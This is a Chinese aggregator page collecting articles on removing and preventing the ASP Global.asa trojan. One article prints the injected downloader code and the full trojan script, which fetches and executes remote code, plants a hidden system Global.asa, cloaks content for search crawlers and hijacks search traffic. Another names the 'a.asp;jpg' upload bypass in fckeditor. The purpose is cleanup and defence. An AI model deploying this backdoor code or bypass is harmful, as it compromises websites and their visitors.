61阅读

global.asa-网站中Global.asa木马的快速清除方法

发布时间:2017-12-23 所属栏目:global.asa

一 : 网站中Global.asa木马的快速清除方法

解决办法:
1、用青云团队开发的网站木马清理专家全面扫描服务器上的网站,网站木马清理专家下载地址.html
2、如果这时木马还是存在,用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码,如下图所示:
global.asa 网站中Global.asa木马的快速清除方法
3、关闭服务器上的缩略图功能 方法参考.html
根源:
这次用户中的是下载者类的木马,黑客通过网站上传漏洞上在网站根目录的foot.asp下插入了以下代码:

<%
'by*aming
Function Gethtml(url)
Set ObjXMLHTTP=("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
Gethtml=
Set ObjXMLHTTP=Nothing
set objStream = ("Adodb.Stream")
objStream.Type = 1
=3
objStream.Open
objStream.Write Gethtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
Gethtml =
objStream.Close
set objStream=Nothing
End Function
execute(Gethtml(".txt"))
%>

清掉这段代码即可解决问题,网站木马清理专家查杀结果如下图所示!
global.asa 网站中Global.asa木马的快速清除方法
xmlasaquan.txt的内容如下:

'<html><head><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML=Source;}</script></head><body onload=clear()>
'<meta http-equiv=refresh content=0;URL=about:blank><script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.1.2('3:4');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
'by*aming
Server.ScriptTimeout=600
Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = ("scripting.filesystemobject")
set f=("//./" & Server.MapPath("/global.asa"))
f.Attributes=0
Set Obj = ("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
Public Function GetHtml(url)
Set ObjXMLHTTP=("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=
Set ObjXMLHTTP=Nothing
set objStream = ("Adodb.Stream")
objStream.Type = 1
=3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml =
objStream.Close
End Function
Function check(user_agent)
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Function CheckRobot()
CheckRobot = False
Dim Botlist,i,Repls
Repls = request.ServerVariables("http_user_agent")
Krobotlist = "Baiduspider|Googlebot"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(Repls,Botlist(i)) > 0 Then
CheckRobot = True
Exit For
End If
Next
If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1
If Session("ThisCheckRobot") = 1 Then CheckRobot = True
End Function
Function CheckRefresh()
CheckRefresh = False
Dim Botlist,i,Repls
Krobotlist = "baidu|google|sogou|soso|youdao"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function
Sub sleep()
If response.IsClientConnected=true then
Response.Flush
else

end if
End Sub
If CheckRefresh=true Then
cnnbd=lcase(request.servervariables("HTTP_HOST"))
("?"&cnnbd&"")
'Response.Write("<a href=_fcksavedurl="" color=#FF0000>如果您的浏览器不支持跳转,请点击进入>>>>>></font></a><div style=display:none><script src=.aspx?id=114814173&logo=12></script></div><script _fcksavedurl=".aspx?id=114814173&logo=12></script></div><script" src=.js></script><script src=.js></script>")

end If
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
if check(user_agent)=true then
body=GetHtml(".2.asp?domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables("HTTP_USER_AGENT"))&"")
response.write body

else
asa=GetHtml(".txt")
if instr(asa,"by*aming")>0 then
createasa(asa)
end if
ScriptAddress=Request.ServerVariables("SCRIPT_NAME")
namepath=Server.MapPath(ScriptAddress)
If Len(Request.QueryString) > 0 Then
ScriptAddress = ScriptAddress & "?" & Request.QueryString
end if
geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress
geturl =LCase(geturl)
'response.write replace(namepath,server.MapPath("/"),"")
'
'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"")=0 and instr(LCase(Request.ServerVariables("http_host")),"")=0 and
if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then
agent = lcase(request.servervariables("http_user_agent"))
referer = LCase(Request.ServerVariables("HTTP_REFERER"))
bot = ""
Amll = ""
if instr(agent, "+") > 0 then bot = agent
if instr(agent, "-") > 0 then bot = agent
if instr(agent, "http") > 0 then bot = agent
if instr(agent, "spider") > 0 then bot = agent
if instr(agent, "bot") > 0 then bot = agent
if instr(agent, "linux") > 0 then bot = agent
if instr(agent, "baidu") > 0 then bot = agent
if instr(agent, "google") > 0 then bot = "nobot"
if instr(agent, "yahoo") > 0 then bot = "nobot"
if instr(agent, "msn") > 0 then bot = "nobot"
if instr(agent, "alexa") > 0 then bot = "nobot"
if instr(agent, "sogou") > 0 then bot = "nobot"
if instr(agent, "youdao") > 0 then bot = "nobot"
if instr(agent, "soso") > 0 then bot = "nobot"
if instr(agent, "iask") > 0 then bot = "nobot"
if bot="nobot" then
'Call WriteErr
'
end if
Call sleep()
end if
end if
'</body></html>

二 : Global.asa文件的功能和用法

Global.asa 文件是一个可选的文件,它可包含可被 ASP 应用程序中每个页面访问的对象、变量以及 文件是一个可选的文件, 应用程序中每个页面访问的对象、 方法的声明。 方法的声明。

Global.asa 文件
Global.asa 文件是一个可选的文件,它可包含可被 ASP 应用程序中每个页面访问的对象、变量以及方 法的声明。所有合法的浏览器脚本都能在 Global.asa 中使用。

Global.asa 文件可包含下列内容: 文件可包含下列内容:

? Application 事件 ? Session 事件 ? <object> 声明 ? TypeLibrary 声明 ? #include 指令
注释: 注释: Global.asa 文件须存放于 ASP 应用程序的根目录中, 且每个应用程序只能有一个 Global.asa 文 件。

Global.asa 中的事件
在 Global.asa 中,我们可以告知 application 和 session 对象在启动和结束时做什么事情。完成这项 任务的代码被放置在事件操作器中。Global.asa 文件能包含四种类型的事件:

Application_OnStart - 此事件会在首位用户从 ASP 应用程序调用第一个页面时发生。此事件会在 web 服务器重起或者 Global.asa 文件被编辑之后发生。 "Session_OnStart" 事件会在此事件发生之后 立即发生。

Session_OnStart - 此事件会在每当新用户请求他或她的在 ASP 应用程序中的首个页面时发生。

Session_OnEnd - 此事件会在每当用户结束 session 时发生。在规定的时间(默认的事件为 20 分 钟)内如果没有页面被请求,session 就会结束。

Application_OnEnd - 此事件会在最后一位用户结束其 session 之后发生。典型的情况是,此事件 会在 Web 服务器停止时发生。此子程序用于在应用程序停止后清除设置,比如删除记录或者向文本文件 写信息。

Global.asa 文件可能类似这样:

<script language="vbscript" runat="server">


sub

Application_OnStart

'some code end sub

sub

Application_OnEnd

'some code end sub

sub

Session_OnStart

'some code end sub

sub

Session_OnEnd

'some code end sub

</script>

注释: 注释:由于无法使用 ASP 的脚本分隔符 (<% 和 %>) 在 Global.asa 文件中插入脚本,我们需使用 HTML 的 <script> 元素。


三 : 关于global.asa处理

今天发现网站后台进不去了,用FTP看了一下根目录,多了一个文件Global.asa,删掉后可以了。

global.asa木马,使得用户从百度点击进来的时候,网站的会自动跳转到其他网站:比如色情站点和有病毒的网站。再就是百度site:自己的网站会发现收录了许多色情页面。

如果自己删不掉的话你可以找自己的空间商让他们给你删除这个木马。

(1)黑客主要是抓您网站的上传漏洞将asp文件传入您的空间,然后再生成global.asa文件。来劫取流量的。
有人说我的网站只能上传图片,他们是怎么把ASP文件传入我空间的,这个不难发现,您仔细查看下你的上传目录,是不是存在.asp;jpg;的文件,不要溜掉编辑器的上传空间啊。
以fckeditor为例,只要把比如a.asp改成a.asp;jpg,就是加上一个分号再加上一个jpg,该编辑器就束手无策了。而且也能被执行。这样修复起来应该容易了吧。
首先找到fckeditor下上传图片的文件,/fckeditor/editor/filemanager/connectors/asp/commands.asp。在这个文件里找到FileUpload这个过程,在大概151行这个位置把原来的 If oUploader.ErrNum> 0 Then sErrorNumber = "202" 改成 If oUploader.ErrNum> 0 or instr(oUploader.File( "NewFile").Name,".asp")>0 Then sErrorNumber ="202"。这样只要文件名里含有.asp的都会报错,至少这个方法可以杜绝文件名里包含.asp的文件。

(2)其被黑的原理是通过微软ASP的一个对文件操作的控件FSO(FileSystemObject)创建global.asa文件实现批量挂马,Global.asa文件可包含可被ASP应用程序中每个页面访问的对象lobal.asa文件,处理方法:

1、上传一个空的Global.asa文件,不写入任何字符代码,保持其0字节:
2、打开建立的Global.asa文件的属性,使其只读+隐藏:
3、进入Global.asa文件的安全选项卡,取消除了Administrators以外的所有账号的访问
4、保存退出。这样黑客将无法再次写入global.asa文件,可以避免再次被人写入含有不规范代码的Global.asa文件
分析:此方案属于“疫苗型”的方案,如果网站是ASPX程序,可以同样的方法建立global.asax 。

一般网站编辑器等能上传文件的地方,要注意打补丁,注意安全问题。

四 : 巧妙在Global.asa文件里使用的.htaccess小技巧

global.asa 巧妙在Global.asa文件里使用的.htaccess小技巧

global.asa 巧妙在Global.asa文件里使用的.htaccess小技巧

众所周知:黑客会利用Apache配置的.htaccess文件去覆盖默认的WEB网站的配置,功能大概有以下几点:

添加条件重定向创建虚拟路径(mod_rewrite)自动添加PHP脚本......

在IIS/ASP的环境中,有个Global.asa文件,这个文件包含了所有asp脚本的共同声明,放在某个ASP应用的根目录。如果该文件存在,该ASP应用会自动包含这个文件。

空白行
黑客也喜欢在Global.asa中使用各种.htaccess技巧,比如隐藏恶意内容,之后就会往里面注入大量的空白行。根据Windows浏览文本的特性,粗心的管理还是难以发现的。

global.asa 巧妙在Global.asa文件里使用的.htaccess小技巧

global.asa 巧妙在Global.asa文件里使用的.htaccess小技巧

文件隐藏属性
.htaccess还有另一个属性,那就是它们都是隐藏的。这意味着部分管理员可能不知道他们的存在,除非他们使用显示隐藏文件选项的FTP客户端,或者使用ls -a这类列文件命令参数。尽管Global.asa文件也不方便自动在Windows中隐藏,但黑客们仍然有其他办法。
下面的代码节选自创建恶意Global.asa的ASP后门:

Public Function createasa(ByVal Content)On Error Resume NextSet fso = Server.CreateObject("scripting.filesystemobject")set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))f.Attributes=0Set Obj = Server.CreateObject("adod" & "b.S" & "tream")Obj.Type = 2Obj.openObj.Charset = "utf-8"Obj.Position = Obj.SizeObj.writetext = ContentObj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2Obj.CloseSet Obj = Nothingf.Attributes=1+2+4set f=NothingSet fso = NothingEnd Function

请注意文件里的“1+2+4”,这里解释下:

1 = 只读文件,网站应用可以读取文件不能写或者删除。2 = 隐藏文件,不包含在普通文件列表里。4 =系统文件,系统进行部分调用,或者特殊专用。

因此,黑客可以建立一个不能被更改的、系统文件级别的Global.asa,这样管理员FTP登录进去就看不到了。

如何查找文件
管理员想要找出这样的文件,需要与创该类文件相同的权限。如果Global.asa是用WEB服务创建的,你需要与WEB容器进程相同的权限去读文件。在你的主机账户管理面板使用文件管理器,或者使用一些客户端脚本来列出服务器上的文件。
PS:上面的案例,是作者的同事Bruno Zanelato在某个服务器上发现的后门和Global.asa。黑客用它们给每个asp网页来挂广告,赚取流量费用。本质上来说,这是一个auto_prepend/append_file和mod_rewrite .htaccess手段的结合使用。

本文标题:global.asa-网站中Global.asa木马的快速清除方法
本文地址: http://www.61k.com/1130590.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1